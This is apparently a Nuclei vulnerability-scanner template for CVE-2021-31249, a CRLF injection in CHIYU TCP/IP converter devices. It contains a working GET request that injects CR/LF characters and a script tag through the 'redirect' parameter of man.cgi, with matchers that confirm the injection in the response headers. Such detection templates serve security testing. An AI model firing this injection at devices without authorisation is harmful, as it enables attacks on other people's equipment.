nuclei-templates/cves/2021/CVE-2021-31249.yaml

34 lines
1.3 KiB
YAML

id: CVE-2021-31249
info:
name: CHIYU TCP/IP Converter devices - CRLF injection
author: geeknik
severity: medium
description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter 'redirect' available on multiple CGI components.
reference:
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2021-31249
tags: cve,cve2021,chiyu,crlf,iot
requests:
- method: GET
path:
- "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"
matchers-condition: and
matchers:
- type: status
status:
- 302
- type: word
part: header
words:
- "Location: setting.htm"
- "<script>alert(document.domain)</script>"
condition: and